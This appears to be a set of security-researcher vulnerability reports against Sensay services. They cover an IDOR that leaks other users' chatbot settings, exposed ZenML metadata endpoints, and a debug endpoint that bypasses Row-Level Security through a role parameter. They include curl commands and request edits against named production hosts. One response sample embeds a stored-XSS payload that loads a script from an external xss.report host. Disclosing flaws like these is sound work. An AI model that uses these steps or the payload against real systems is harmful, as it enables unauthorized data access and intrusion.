Security Flaw

📌 Affected Domain: https://studio.sensay.io 📋 Summary: An attacker can access and leak private chatbot data of other users on https://studio.sensay.io by sending a crafted POST request to the endpoint: POST /support-mail-reply/ai-settings By simply changing the slug (chatbot name) in the request body, an unauthorized user can retrieve private details of any other chatbot, even if it's not owned by them. This includes sensitive metadata such as owner_ user.id , owner_user.organization_uuid, chatbot descriptions, avatar URLs, and usage settings. 🔥 Severity: Critical This is a high-impact, low-complexity issue: No authentication or authorization checks are enforced on the POST /[slug]/ai-settings endpoint. Anyone can extract private chatbot configurations. Leaks identifiable owner data: user_id, organization_uuid, profile_image, internal bot configuration. 🧪 Steps to Reproduce: Create your own chatbot (e.g., my-mail-reply) at: https://studio.sensay.io Intercept a request in Burp Suite or any proxy tool during AI Settings access: POST /support-mail-reply/ai-settings In the POST request body, change: ["my-mail-reply"] to any other known slug, like: ["support-mail-reply"] Send the request and observe the 200 OK response with unauthorized access to private chatbot data. 📥 Request Sample: POST /support-mail-reply/ai-settings HTTP/2 Host: studio.sensay.io Content-Type: text/plain;charset=UTF-8 ... Body: ["my-mail-reply"] Change ["my-mail-reply"] to: ["support-mail-reply"] 📤 Response Sample (Redacted for Privacy): 0:{"a":"$@1","f":"","b":"kErOwdq0nNScm0gWuA9ck"} 1:["success",{"created_at":"2025-09-12T09:39:12.765267+00:00","name":"support mail reply","elevenlabsId":null,"system_message":"\"><input onfocus=eval(atob( this.id )) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL21laHJhYjM1MDAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>","introduction":"How can I help you?<h1>heelo</h1>","suggested_questions":[],"metadata":null,"updated_at":"2025-09-12T09:48:54.001231+00:00","introduction_audio_id":null,"model":"gemini-2.5-pro","whitelisted_emails":[],"uuid":"fe2659cd-8a15-4784-9e79-12d5bc9f195e","private":false,"training_type":"brand","tools":[],"profile_image":" https://xotqxvmmnunwfsaemqfy.supabase.co/storage/v1/object/public/persona_images/fe2659cd-8a15-4784-9e79-12d5bc9f195e/profile-2025-09-12T09:39:12.804Z.png","owner_uuid":"05632fa4-e2b8-4d18-ac6f-be2273622bbe","hg_custom_avatar_id":null,"el_custom_voice_id":null,"voice_manager":"none","gender":null,"short_description":"I'm an AI agent of support mail reply","searchable":true,"tags":[],"slug":"support-mail-reply","guardrails":"ai_model,no_code_writing","temperature":0.1,"moderation":true,"hallucination_check":true,"company":null,"job_title":null,"purpose":"Purpose: support mail reply. Purpose: Sales. Help your customers find the right products, faster.","website":null,"voice_preview_text":"Hi, I'm your Sensay replica! How can I assist you today?","is_every_conversation_accessible_by_support":false,"max_tokens":128,"owner_user":{"id":"05632fa4-e2b8-4d18-ac6f-be2273622bbe","organization_uuid":"a266dd3b-a474-4cde-9dbd-c0a956dbd23c"}}] 🔍 Impact: Exposure of PII: user ID, organization UUID, profile image. Leaks internal AI assistant configurations, including: Model type (gpt-4o) Training type Moderation settings Temperature Tags, Guardrails May allow for reconnaissance attacks, impersonation, or social engineering. 🔒 Recommended Fix: Enforce authorization checks on POST /[slug]/ai-settings to ensure only chatbot owners or authorized users can access bot settings. Sanitize and validate the slug parameter against the current user's permissions. Consider logging and rate-limiting access to this endpoint. 💬 Optional Improvements: Introduce strict role-based access control (RBAC) for all dynamic routes like /:slug/ai-settings. Hide or obfuscate internal UUIDs from client responses unless absolutely necessary. Implement audit logging to track unusual access patterns to bot settings. 📎 Metadata: Endpoint: POST /[slug]/ai-settings Vulnerable Slug Example: support-mail-reply Discovered On: 2025-09-12 Tested Via: Burp Suite / Browser Dev Tools

Hi Team, I'm mark security researcher this is low hanging bug but it's contains the information. Summary Two ZenML MLOps control-plane deployments are publicly accessible without authentication: * https://zenml.production.railway.sensay.io * https://zenml.staging.railway.sensay.io While sensitive API endpoints correctly enforce authentication (401 Unauthorized), multiple administrative and metadata endpoints remain accessible to anonymous users, including: * ZenML Dashboard * Swagger Documentation (/docs) * OpenAPI Specification (/openapi.json) * Health Endpoints * Server Information Endpoint (/api/v1/info) The exposed metadata reveals deployment details, exact ZenML versions, database backend configuration, authentication mechanisms, secrets-store implementation, environment names, and operational activity timestamps. Although no customer data, secrets, pipelines, or user information were accessible during testing, this disclosure significantly reduces the effort required to fingerprint the infrastructure and identify version-specific attack paths against the MLOps platform. Severity: Low (Information Disclosure) Affected Assets https://zenml.production.railway.sensay.io https://zenml.staging.railway.sensay.io Proof of Concept Unauthenticated Server Information Disclosure Request: curl -s https://zenml.production.railway.sensay.io/api/v1/info Response: { "name":"kadikoy", "version":"0.90.0", "deployment_type":"other", "database_type":"mysql", "secrets_store_type":"sql", "auth_scheme":"OAUTH2_PASSWORD_BEARER", "debug":false, "analytics_enabled":true, "last_user_activity":"2026-06-18T19:43:43" } The endpoint discloses: * Exact ZenML version * Deployment name * Database backend * Secrets-store implementation * Authentication mechanism * Debug configuration * Operational activity timestamps The staging environment exposes similar information, including a different version (0.91.0). Administrative Documentation Accessible Without Authentication The following resources are accessible anonymously: curl -I https://zenml.production.railway.sensay.io/docs curl -I https://zenml.production.railway.sensay.io/openapi.json curl -I https://zenml.production.railway.sensay.io/health Observed: 200 OK /docs 200 OK /openapi.json 200 OK /health 200 OK /api/v1/info This provides unauthenticated users with a complete API inventory and deployment metadata. Authentication Enforcement Verified Sensitive API endpoints correctly require authentication: curl -I https://zenml.production.railway.sensay.io/api/v1/secrets curl -I https://zenml.production.railway.sensay.io/api/v1/pipelines curl -I https://zenml.production.railway.sensay.io/api/v1/users Observed: 401 Unauthorized No pipeline data, secrets, user records, or execution details were accessible. Impact Although authentication is correctly enforced for sensitive resources, the ZenML control plane remains fully discoverable from the public internet. An unauthenticated attacker can: * Fingerprint the exact ZenML versions deployed in production and staging. * Identify backend technologies and infrastructure components. * Determine authentication mechanisms and deployment architecture. * Enumerate all available API routes through OpenAPI documentation. * Verify that the platform is actively used through operational timestamps. The disclosed version information enables rapid correlation against public ZenML vulnerabilities and security advisories, reducing the effort required to develop targeted attacks against the exposed login and API surface. Additionally, publicly exposing an internal MLOps management platform unnecessarily increases attack surface and provides reconnaissance value that would otherwise be unavailable. References * GET /api/v1/info * GET /docs * GET /openapi.json * GET /health * Production: https://zenml.production.railway.sensay.io * Staging: https://zenml.staging.railway.sensay.io

Summary The Knowledge Transfer API exposes a publicly accessible debug endpoint: GET https://kt-be.sensay.io/test/public This endpoint can be accessed without authentication and performs database queries against the production chat_history table while operating under the privileged PostgreSQL service_role. Because service_role bypasses Supabase Row-Level Security (RLS), the endpoint is able to retrieve records that would normally require authorization checks. At the time of testing, returned records are serialized as Python object representations rather than actual message contents. However, the endpoint is already querying real production chat records and returning database objects to unauthenticated users. A minor serialization change, debugging update, or framework modification could immediately expose sensitive conversation data. Additionally, verbose error responses disclose internal implementation details including SQLAlchemy exceptions, raw SQL queries, PostgreSQL role names, and Sentry identifiers. Severity Low (Information Disclosure / Security Misconfiguration) The impact is limited because chat content is not currently exposed. However, the endpoint represents an unauthenticated access path into sensitive production data while RLS protections are effectively bypassed. Affected Endpoint: GET https://kt-be.sensay.io/test/public Proof of Concept Unauthenticated Access to Production Chat Records Request: curl https://kt-be.sensay.io/test/public Response: { "content": [ "<app.models.ChatHistory object at 0x7f187f1528d0>", "<app.models.ChatHistory object at 0x7f187f152e70>" ] } The endpoint returns real ChatHistory objects retrieved from the production database. Evidence That Queries Run With service_role The endpoint accepts a user-controlled role parameter. Request: curl " https://kt-be.sensay.io/test/public?role=service_role " Response: { "content":[ ... 10 ChatHistory rows ... ] } Request: curl " https://kt-be.sensay.io/test/public?role=authenticated " Response: { "content":[] } When queried as authenticated, Row-Level Security prevents access. When queried as service_role, records are returned. This demonstrates that the endpoint is executing database queries with elevated privileges that bypass RLS protections. Verbose Error Disclosure Request: curl " https://kt-be.sensay.io/test/public?role=anon " Response excerpts: { "exception_type":"sqlalchemy.exc.ProgrammingError", "errors":[ { "detail":"asyncpg.exceptions.InsufficientPrivilegeError" } ], "sentry_id":"..." } The response exposes: SQLAlchemy exception classes asyncpg exception details Raw SQL statements PostgreSQL role names Internal Sentry identifiers Impact Primary Impact An unauthenticated user can invoke a production database query against the chat_history table using a privileged role that bypasses Row-Level Security. Although message contents are not currently returned, the endpoint already accesses real production records and exposes database objects from a sensitive datastore. This creates a fragile security boundary where future code changes could unintentionally expose conversation data without requiring any authentication bypass. Secondary Impact Verbose error responses provide attackers with: Database role information ORM implementation details Backend technology stack disclosure SQL query structures Internal monitoring references This information can assist targeted reconnaissance and future exploitation attempts.